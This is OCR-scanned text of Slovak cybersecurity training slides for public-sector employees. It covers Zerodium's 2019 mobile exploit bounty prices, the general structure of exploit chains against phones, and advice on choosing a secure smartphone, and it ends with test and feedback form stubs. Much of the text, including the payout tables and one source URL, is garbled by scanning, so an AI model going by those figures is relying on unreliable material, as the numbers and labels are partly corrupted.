RCE: Remote Code Execution I Android 1002 b
LPE: Local Privilege Escalation m Any O3
Up to SBX: Sandbox Escape or Bypass 10S FCP
$2,000,000 Zero Click
105
2002 h
Up to WhatsApp iMes=age
$150 HCE+LIF‘E R CE+LIP‘E
0,000 Zero Click Zero Click
105/ /Android
2003 b
Up to WhatsApp SMS/MMS
$1,000,000 RCE+LPE RCE+LPE
105/ Android 105 fAndroid
a2.0m ~ 2008 2008 h| Edld M 400 bl ELH A
Up to e WeChat iMessage FE Massenger i Telegram Email App Chrome Safari
$500,000 - RCE+LPE RCE+LPE RCE+LPE RCE+LPE RCE+LPE RCE+LPE RCE+LPE RCE+LPE
10 fAndrokd 105 10 fAndrold 105 fAndrokd 105 fAndrold Androkd 105
500 ~ | EN b | 3 4004 b | 4006 A
Up to Baseband Media Files Chrome RCE SBX Safari RCE
$200,000 RCE+LPE Kernel /Root RCE+LFPE RCE+LPE for Chrome wio SBX for Safari wio SBX
105/ /Androld 108 /Andrald 10 fAndrokd Andrald Androld 108 105

700 ~ 0012 200 b | g 2002 N o002 A

Code Signing Information PN Passcode Touch ID
Bypass Disclosure Bypass Bypass Bypass

QS Androld Android 105 L=

* All payouts are subject to change or cancellation without notica. All tradomarks aro the property of their respective owneors. 2019/ 09 © Zerodium.com

Zdroj: https://lab.wallarm.com/zero-day-marketplace-explained-how-zerodium-bugtrag-and-fear-contributed-to-the-rise-of-the-zero-day-vulnerability-black-market/
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Up to
$2,500,000

Up to
$2,000,000

Up to
$1,500,000

Up to
$1,000,000

Up to
$500,000

Up to
$200,000

Up to
$100,000

Zdroj: https://lab.walla rm.com/zero-da;'-qn'u';g?ﬁg%ﬁégcrgFg)?ﬁgtlrtmaegjﬁ”o%—%%%?ﬁ%ﬂg‘?r%a?gﬁ%q%hﬂ:gﬁ[gnButkesdqgc%%ﬁgfﬁgg?gf? hﬂéq"z'rerrgg- 5{;5% hera oility-black-marke
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Baseband
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ZERODIUM Payouts for.Mobiles’

FCP: Full Chain with Persistence
RCE: Remote Code Execution
LPE: Local Privilege Escalation
SBX: Sandbox Escape or Bypass

2008

WeaChat iMessage FE Messenger Signal
RCE+LPE RCE+LPE RCE+LPE RCE+LPE

105 JAndralkd 105 105/ Androld 105 JARdrakd
8om A EL b |

LPE to Media Files Documents
Kernel /Root RCE+LPE RCE+LPE

105 /Andrald 10 Android K35 JAndrokd
2001 b |

RCE Infarmation
via Mith Dischosure

05
I Android
m Any OS5

2,009

Telegram
RCE+LPE

for Chrome

Andrald

WhatsApp
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Zero Click
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.

- L
Zdroj: https://lab.walIarm.com/zero-day-marketpIace-e‘)‘lg'gl'a:@lu'?I edh

Up to
$2,500,000

Upto
$2,000,000

Up to
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Up to
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fy “G&cxs  Exploitacia mobilnych telefénov (l.)

4"’"!3150\1 )

= Vdaka mnozstvu bezpecnostnych mechanizmov je exploitacia telefonov nesmierne
zlozita
= Castokrat je nutné zneuzit niekol'ko zranitelnosti su¢asne

Zdroj: https://www.tenable.com/blog/a-look-at-the-vulnerability-to-exploit-supply-chain
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Exploitacia mobilnych telefénov (I1.)

= Standardne ,retaz” zranitelnosti vyzera nasledovne:
1. Zneuzitie zranitelnosti na spustenie kédu vo webovom prehliadaci
2. Zneuzitie zranitelnosti na uniknutie zo ,,sandboxu” prehliadaca

3. Niekedy sa vyuzivaju aj dalsie zranitelnosti, napriklad na obidenie anti-
exploitacnych mechanizmov, Ci pretrvanie v telefone aj po restarte

(perzistencia)
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“&exs Ako si vybrat bezpecny telefon? (I.)

= Najdélezitejsie su aktualizacie
= Ako dlho ich bude telefédn dostavat?

" Dva hlavné parametre:
" Pocet velkych aktualizacii

* Doba vydavania bezpecnostnych
zaplat
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= SU aj iné parametre, aj ked nie su tak dolezite
ako aktualizacie
= Biometrické overenie

= Optické skenery odtlackov prstov su menej

bezpecné nez kapacitné a ultrasonickeé

Zdroj: https://www.theverge.com/circuitbreaker/2018/3/12/17109114/samsung-galaxy-note-9-no-in-display-fingerprint-sensor-ming-chi-kuo-kgi-rumor
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" Procesor ma vyrazny vplyv na
bezpecnost

* MediaTek procesory su povazované za
menej bezpecné nez konkurencia

= Pri Apple zariadeniach su zariadenia s
Apple Al12=< vyrazne bezpecnejSie nez
zariadenia so starSimi procesormi
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Zdroj: https://ios.gadgethacks.com/how-to/check-if-your-iphone-6s-6s-plus-is-victim-chipgate-0165306/



- Zaverecny test / Diskusia

= Test: ...

KC KB UPJS - Laik, odborny zamestnanec, manazér - Modul ¢&.

4 - Test

Vzdelavanie pre zamestnancov verejnej spravy v kategorii pouzivatelov laik”, ,odborny zamestnanec” a ,manazér” - Modul ¢. 4 - Bezpe¢nost
prevadzky a riesenie kybernetickych incidentov

When you submit this form, it will not automatically collect your details like name and email address unless you provide it yourself.

* Required

1. Meno a priezvisko *

Enter your answer

2. Nazov organizacie *

Enter your answer

3. Datum testu *

Please input date (M/d/yyyy)
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© - Spatna vazba

= Spatna vazba: ...

Spatna vazba
KCKB: Vzdelavanie pre zamestnancov verejnej spravy v kategorii pouzivatelov ,laik”, ,odborny zamestnanec” a ,manazér”

When you submit this form, it will not automatically collect your details like name and email address unless you provide it yourself.
* Required

1. Datum skolenia *

Please input date (M/d/yyyy)

2. Cislo modulu *

O Modul ¢. 1 - Uvod do kybernetickej ainformacnej bezpe¢nosti (KIB)
Q Modul €. 2 - Kritické myslenie a dezinformacie

Q Modul ¢. 3 - Sociélne inZinierstvo
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